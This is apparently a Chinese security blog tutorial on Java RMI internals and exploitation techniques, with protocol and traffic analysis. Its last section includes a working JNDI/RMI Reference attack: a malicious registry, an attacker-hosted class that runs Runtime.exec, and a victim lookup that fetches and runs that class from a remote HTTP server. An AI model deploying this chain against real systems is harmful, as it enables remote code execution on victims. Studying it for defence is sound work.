在《JavaSec JNDI注入利用分析》中JNDI支持访问多种命名与目录服务,其中就有利用RMI达成RCE的目的。RMI(Remote Method Invocation)远程方法调用可以类比RPC,这里将以下要点总结RMI的利用原理:
RMI基本内容:通过demo代码理解RMI的使用流程
RMI原理分析:通过RMI源码分析,结合Wireshark流量分析RMI的实现,过程指出我们的利用点
RMI利用方式总结:分类总结随着JDK的升级阻断RMI的利用方式发展
一、RMI基本内容
RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范(这里将在RMI原理分析中流量包体现),RMI中的对象传输以Java的反序列化方式编码,所以说RMI的利用总体还是Java不安全的反序列漏洞利用,也有RMI的协议独特的利用方式。
一个简单的例子:
Compute.java
: 生成远程对象接口
package com.thonsun.server;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* @Project: test-poc
* @Desc:
* @Author: thonsun
* @Create: 2020/12/25 12:17
**/
public interface Compute extends Remote {
int add(int a,int b) throws RemoteException;
}
RMIServer.java
:实现远程对象接口,并集成注册中心
package com.thonsun.server;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
/**
* @Project: test-poc
* @Desc:
* @Author: thonsun
* @Create: 2020/12/25 12:18
**/
public class RMIServer extends UnicastRemoteObject implements Compute {
public RMIServer() throws RemoteException{
super();
}
@Override
public int add(int a, int b) throws RemoteException {
System.out.println("client call add("+a+","+b+")");
return a+b;
}
public static void main(String[] args) {
try {
String name = "Compute";
RMIServer rmiServer = new RMIServer();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind(name,rmiServer);
System.out.println("compute server bind ok");
} catch (RemoteException e) {
System.out.println("compute server bind exception");
e.printStackTrace();
}
}
}
RMIClient.java
:实现客户端调用
package com.thonsun.client;
import com.thonsun.server.Compute;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
/**
* @Project: test-poc
* @Desc:
* @Author: thonsun
* @Create: 2020/12/25 12:18
**/
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
Compute comp = (Compute) Naming.lookup("rmi://192.168.8.115:1099/Compute");
System.out.println(comp.add(2,3));
}
}
运行结果:
RMIServer:
RMIClient:
由上面例子一个RMI系统主要有三个组成部分:
1.client:调用者
2.server:被调用者,Remote Object的执行者
3.registry:注册中心,提供Remote Object的引用
在官方文档解析:
Before a client can invoke a method on a remote object, it must first obtain a reference to the remote object. Obtaining a reference can be done in the same way that any other object reference is obtained in a program, such as by getting the reference as part of the return value of a method or as part of a data structure that contains such a reference.
The system provides a particular type of remote object, the RMI registry, for finding references to other remote objects. The RMI registry is a simple remote object naming service that enables clients to obtain a reference to a remote object by name. The registry is typically only used to locate the first remote object that an RMI client needs to use. That first remote object might then provide support for finding other objects.
The
java.rmi.registry.Registry
remote interface is the API for binding (or registering) and looking up remote objects in the registry. Thejava.rmi.registry.LocateRegistry
class provides static methods for synthesizing a remote reference to a registry at a particular network address (host and port). These methods create the remote reference object containing the specified network address without performing any remote communication.LocateRegistry
also provides static methods for creating a new registry in the current Java virtual machine, although this example does not use those methods. Once a remote object is registered with an RMI registry on the local host, clients on any host can look up the remote object by name, obtain its reference, and then invoke remote methods on the object. The registry can be shared by all servers running on a host, or an individual server process can create and use its own registry.
意思是说client 通过获取的服务端远程对象的引用stub来与服务端远程对象交互,这个stub就像是在client端的远程对象代理。而client获取服务端远程引用stub是通过Registery(注册中心实际也是一个Remote Object的实现,这里的Registry 与 LocateRegistery的关系可以看出),解决了获取Remote Object Stub的问题。
文档还指出,远程方法调用的参数传递约定:
The rules governing how arguments and return values are passed are as follows:
- Remote objects are essentially passed by reference. A remote object reference is a stub, which is a client-side proxy that implements the complete set of remote interfaces that the remote object implements.
- Local objects are passed by copy, using object serialization. By default, all fields are copied except fields that are marked
static
ortransient
. Default serialization behavior can be overridden on a class-by-class basis.
意思是说客户端通过从Registery获取的远程对象的stub引用调用远程对象方法,方法的参数与方法的返回值以Java序列化数据编码传递。即远程对象的方法的参数与方法的返回值可是一基本类型,可序列化对象;当是可序列化对象的时候,这个对象的class文件必须是共同存在服务端or客户端的,或者如服务端不存在参数的类型,但服务端JVM允许远程codebase加载类(参考文献:Java Codebase技术),客户端启动的时候指定codebase url调用服务端,此时服务端会从客户端codebase通过URLClassLoader加载类字节文件(这个就是其中一个利用点,但由于利用条件限制太多通常不用),这个流程将在下面分析
一个RMI程序整体流程:
以RMI Remote Object调用为例讲解RMI系统工作过程:
1.服务端实现Remote Object接口,通过UnicastRemoteObject.export()
创建本地skeleton与stub并将stub注册到RMIRegistry
2.客户端通过JNDI或者Naming lookup从RMIRegistry 获取Remote Object的引用stub
3.客户端通过本地远程代理对象stub与服务端skeleton通讯,以Java序列化编码传输参数与返回值
将有两个tcp的握手过程。
二、RMI原理分析
这里以源码与流量层面对RMI的Remote Object 与 Reference进行原理分析
2.1 RMI Remote Object
demo程序以上面那个为例
1.远程对象RMIServer继承 UnicastRemoteObject
初始化通过exportObject创建Skeleton与stub
内部包含ref对象
2.创建Registry并注册Remote Object到Regitstery
通过debug可以看出Registry其实也是一个Remote Object
名称与RMIServer绑定
3.客户端获取stub
客户端通过Naming.lookup获取一个远程对象的引用,先解析获取到Registry的引用
在调用Registry的远程方法lookup查找指定名称的Server远程对象,可以看到Client –> Registry是以Java反序列传输数据
从Regitstry反序列化获得Server Remote Object的代理类
通过Proxy代理调用远程方法返回结果
表现在流量层面:(为方便查看,服务端与客户端分开运行)
wireshark 流量抓取RMI Client通讯流量
ip.addr == 192.168.58.131 && (ip.addr == 192.168.8.115 ||ip.addr == 172.31.2.167)
第一次TCP链接:Client与Registry建立连接获取Remote Object的引用(代理对象);
Wireshark正确识别出是RMI的流量
获取到的Remote Object引用在JRMI ReturnData,以序列化字节流传输,通过SerializationDumper 可以查看序列化数据
$ java -jar SerializationDumper.jar "aced0005770f019853d68c000001769940ab038005737d00000002000f6a6176612e726d692e52656d6f74650020636f6d2e74686f6e73756e2e64656d6f312e7365727665722e436f6d7075746570787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c65720000000000000002020000707872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300007078707735000a556e6963617374526566000c3137322e33312e322e3136370000faa7ce7e561aa49bbf989853d68c000001769940ab0380010178"
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 15 - 0x0f
Contents - 0x019853d68c000001769940ab038005
TC_OBJECT - 0x73
TC_PROXYCLASSDESC - 0x7d
newHandle 0x00 7e 00 00
Interface count - 2 - 0x00 00 00 02
proxyInterfaceNames
0:
Length - 15 - 0x00 0f
Value - java.rmi.Remote - 0x6a6176612e726d692e52656d6f7465
1:
Length - 32 - 0x00 20
Value - com.thonsun.demo1.server.Compute - 0x636f6d2e74686f6e73756e2e64656d6f312e7365727665722e436f6d70757465
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 23 - 0x00 17
Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879
serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
newHandle 0x00 7e 00 01
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Object - L - 0x4c
fieldName
Length - 1 - 0x00 01
Value - h - 0x68
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 37 - 0x00 25
Value - Ljava/lang/reflect/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
java.lang.reflect.Proxy
values
h
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 45 - 0x00 2d
Value - java.rmi.server.RemoteObjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 02
newHandle 0x00 7e 00 04
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 28 - 0x00 1c
Value - java.rmi.server.RemoteObject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
newHandle 0x00 7e 00 05
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 06
classdata
java.rmi.server.RemoteObject
values
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 53 - 0x35
Contents - 0x000a556e6963617374526566000c3137322e33312e322e3136370000faa7ce7e561aa49bbf989853d68c000001769940ab03800101
TC_ENDBLOCKDATA - 0x78
java.rmi.server.RemoteObjectInvocationHandler
values
这里注意classAnnotations,这个是下面利用RMI codebase的利用点,codebase将在这里指定
第二次TCP链接:Client获取的Remote Object本地代理与Server交互获得返回结果
对call 与 result的数据进行格式解释:
对于Java序列化的格式参考 官网文档
即础数据类型的数据,如整数、浮点数等,会在流中使用blockdata格式进行表示。
这里Call & ReturnData 后面可以看到参数2,3,5;
这里可以提一下对于参数&返回值是一个对象的时候,则是classdata的反序列形式,若本地JVM不存在class文件若满足可以加载远程codebase的运行条件(将在下面讨论)将从远程codebase下载class文件加载进行反序列化。
这里的漏洞利用:
对于可控的lookup参数,通过指向攻击者的远程对象,在readObject反序列通过利用java原生反序列漏洞利用链触发RCE,如AnnotationInvocationHandle或者Hashmap的TiredMapEntry为key的利用
2.2 RMI Reference
这个流程放在JNDI RMI Reference利用讨论
三、RMI利用方式
这里以利用方式进行分类叙述
3.1 利用RMI威胁功能函数
利用条件:
远程对象存在威胁的函数:如写入文件内容到指定的文件位置,这个文件内容与文件位置攻击者可控,且是未授权访问
通常是客户端攻击服务端,利用的是未授权这类漏洞,RMI只是提供一个服务访问接口,类似web的文件上传。
BaRMIe 提供对威胁RMI服务接口进行扫描与攻击。
3.2 利用RMI codebase特性
利用条件:
JVM 启动参数指定允许远程codebase加载class
这个已经很难利用了,这是因为在JDK7u21、JDK6u45之后限制,只有满足下面条件才可以加载codebase 远程class反序列
1.安装设置SecurityManager
2.版本低于JDK7u21、JDK6u45或者设置JVM启动参数 java.rmi.server.useCodebaseOnly=false
,即允许远程codebase加载类
对codebase的理解:
codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为Example类的字节码。
RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类(类加载的知识);如果在本地没有找到这个类,就会去远程加载codebase中的类。
3.3 利用RMI参数为Object类型函数
利用条件:
1.对于远程对象A,有方法b,参数有类型为Object(可接受任意类型)的c,即A.b(c)
2.受害者JVM中存在利用链,如Apache Common Collections依赖
这里可以是服务器攻击客户端,也可以是客户端攻击服务端,因为RMI的远程对象方法参数与返回值都是通过Java反序列化传输,服务端or客户端在接受到一个Object的参数会通过本地class.loadClass()加载本地Class进行newInstance,这之后走的是Java反序列漏洞利用。关于Java反序列化漏洞利用可参考上篇《JavaSec java反序列化漏洞利用分析》。
这里给出一个简单的利用demo
3.4 利用RMI Reference
攻击者起恶意的Registry:
package com.thonsun.demo2.registry;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @Project: JavaSec
* @Desc: 攻击者部署的恶意注册中心,返回执行payload的Reference绕过codebase限制与突破没有利用链的
* @Author: thonsun
* @Create: 2020/12/25 18:25
**/
public class RMIRegistry {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("ExecTest", "ExecTest", "http://192.168.58.131:8080/");
ReferenceWrapper evil = new ReferenceWrapper(reference);
registry.bind("evil",evil);
System.out.println("bind ExecTest Reference Done");
}
}
攻击者起的http服务提供恶意class下载:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
//测试
public static void main(String[] args) {
exec("123");
}
}
注意:ExecTest不要写包名
编译成class文件:javac ExecTest.java
部署在web服务上:py -3 -m http.server 8081
受害者的客户端(攻击者可控lookup参数指向攻击者的恶意Reference)
package com.thonsun.demo2.client;
import javax.naming.Context;
import javax.naming.InitialContext;
/**
* @Project: JavaSec
* @Desc:
* @Author: thonsun
* @Create: 2020/12/25 18:23
**/
public class RMIClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://192.168.58.131:1099/evil";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
运行Registry
运行Client
Client运行效果,RCE触发弹出计算器:
攻击者搭建的恶意Registry,绑定的Referece指向恶意Class【ExecTest】,受害机器(RMI 客户端的lookup参数可控)成功执行恶意Class
这里其实是JNDI-RMI的利用方式,放到这里其实是把他作为一个RMI远程class加载,具体的触发原理可以参考上篇讨论《JavaSec JNDI注入利用分析》,这里可以简单说一下:
InitialContext.lookup("referece url")
InitialContext.getURLOrDefaultInitCtx() # 获得RMI Registry Context,内部有Registry的远程地址
GernericURLContext.lookup("referece name")
RegistryContext.lookup("raferce name") # 获取Ristery Reference stub
RegistryContext.decodeObject(referece) # RemoteReference进行远程加载Reference的FactoryLocation
RemoteReference.getReferece() # 远程加载类factory
NamingManager.getObjectInstance() #
NamingManager.getObjectFactoryFromReference -> factory newInstance调用静态方法
或重载的函数factory.getObjectInstance() 触发RCE
四、总结
这里以一个导图总结
参考资料
1.java rmi tutorials: https://docs.oracle.com/javase/tutorial/rmi/overview.html
2.jvm codebase: https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html
4.BaRMIe